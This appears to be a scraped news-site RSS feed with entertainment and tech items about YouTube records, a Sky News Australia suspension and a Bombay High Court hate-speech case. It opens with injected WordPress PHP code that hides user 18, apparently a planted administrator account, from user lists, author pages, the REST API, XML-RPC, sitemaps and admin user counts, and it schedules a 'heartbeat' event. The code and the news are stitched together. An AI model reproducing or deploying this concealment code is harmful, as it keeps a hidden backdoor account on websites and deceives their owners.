add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “Dil Ko Karaar Aaya” crosses 100 million views on YouTube appeared first on The Edge Media.
]]>Neha’s track ‘Dil Ko Karaar Aaya’ which she crooned alongwith singer Yasser Desai has touched 100 million views on YouTube within one year of release. Composed by Rajat Nagpal, the song features Neha Sharma and Sidharth Shukla.
Excited at the views it has amassed, Neha Kakkar says: “Dil Ko Karaar Aaya is one of the most special songs I’ve sung. I get requested to sing this song very often and that goes to show the impact it has made on the listeners. Congratulations to Desi Music Factory for putting this wonderful song together.”
Singer Yasser Desai says: “It’s a song that is full of feels and singing it with Neha was amazing. I’m very happy that it has reached so many people across the world. Huge props to Desi Music Factory for uplifting independent music on such an impressive scale.”
“Dil Ko Karaar Aaya” was released under Anshul Garg’s music label – Desi Music Factory.
-With IANS inputs
The post “Dil Ko Karaar Aaya” crosses 100 million views on YouTube appeared first on The Edge Media.
]]>The post YouTube suspends Sky News Australia for a week appeared first on The Edge Media.
]]>Sky News Australia acknowledges YouTube’s right to enforce its policies and looks forward to continuing to publish its popular news and analysis content to its subscribers shortly,” Sky News said in a statement on its website about the one-week suspension.
The 24-hour cable and television channel, which claims to have 1.85 million YouTube subscribers, is operated by Australian News Channel Pty Ltd and is a subsidiary of News Corp Australia. YouTube, owned by Alphabet Inc’s Google, confirmed the suspension.
We apply our policies equally for everyone and in accordance with these policies and our long-standing strikes system, removed videos from and issued a strike to Sky News Australia’s channel,” a YouTube spokesperson said.
Australian media reported that the one-week suspension was issued on Thursday and came after a review of Sky News Australia’s content that allegedly denied the existence of Covid-19 or encouraged people to use hydroxychloroquine or ivermectin to treat the coronavirus, without providing countervailing context.
The post YouTube suspends Sky News Australia for a week appeared first on The Edge Media.
]]>The post BTS new song ‘Butter’ creates a new YouTube record under 13 minutes. appeared first on The Edge Media.
]]>A content distribution and management platform, Popbase released the numbers, however YouTube will release the numbers in a few days. The K-pop band released the official teaser of the song on Tuesday which was also a hit. It received 1 million likes within 45 minutes of the teaser launch. After popbase released the numbers, fans shared their excitement through sharing various tweets.
[
| @BTS_twt “Butter” Official MV has surpassed +59M views on YouTube
https://t.co/3s71pb6NyS#BTS_Butter #BTSBackWithButter
— BTSChartDaily⁷/Stream
(@BTSChartDailyx) May 21, 2021
Kenya iTunes
1. Butter
2. Butter Instrumental
Congratulations Kenyan Armys#ButterToday pic.twitter.com/EUHPb6RUO2
— BTS KENYA⁷
(@BTS_KENYA_) May 21, 2021
The post BTS new song ‘Butter’ creates a new YouTube record under 13 minutes. appeared first on The Edge Media.
]]>The post Google, Youtube and Gmail started working again, were down for a while appeared first on The Edge Media.
]]>The post Google, Youtube and Gmail started working again, were down for a while appeared first on The Edge Media.
]]>The post If Ordered, Facebook & Youtube Can Block The AIMIM Supporter appeared first on The Edge Media.
]]>A division bench of Chief Justice Dipankar Datta and Justice Madhav Jamdar was hearing a petition filed by Mumbai resident Imran Khan, seeking a direction to the police to take action against Abu Faizal for uploading incriminating hate speeches on social media.
The petitioner’s lawyer earlier said Faizal was a supporter of the Asaduddin Owaisi-led All India Majlis-e- Ittehad-ul-Muslimeen (AIMIM). The plea sought deletion of videos uploaded by Faizal and also a permanent ban to be imposed on him from all social media websites. In May this year, the high court ordered YouTube and Facebook to delete the videos uploaded by Faizal.
On Monday, Facebook’s counsel Darius Khambata and YouTube’s advocate Naresh Thacker informed the court that the videos uploaded by the user (Faizal) have been deleted. The petitioner’s advocate, Vivek Shukla, told the court that Faizal has uploaded videos even after his earlier clips were deleted.
“We (Facebook) can block access of the site to this user (Faizal) if the central government passes an order as per the procedure laid down under the Information Technology Act or if the court orders us to do so,” Khambata said.
Thacker, appearing for YouTube, conceded and said the URLs of the earlier videos uploaded by the user (Faizal) have been deleted. The bench sought to know from Shukla if the petitioner approached the nodal officer appointed by the government under the IT Act Section 69(A) (power to delete/block objectionable content posted online). “The IT Act has laid down a procedure by which any person can approach the nodal officer if he or she has a complaint against any content posted on the internet. Why should the court interfere and pass orders,” Chief Justice Datta said. The bench later reserved its order on the plea.
– PTI
The post If Ordered, Facebook & Youtube Can Block The AIMIM Supporter appeared first on The Edge Media.
]]>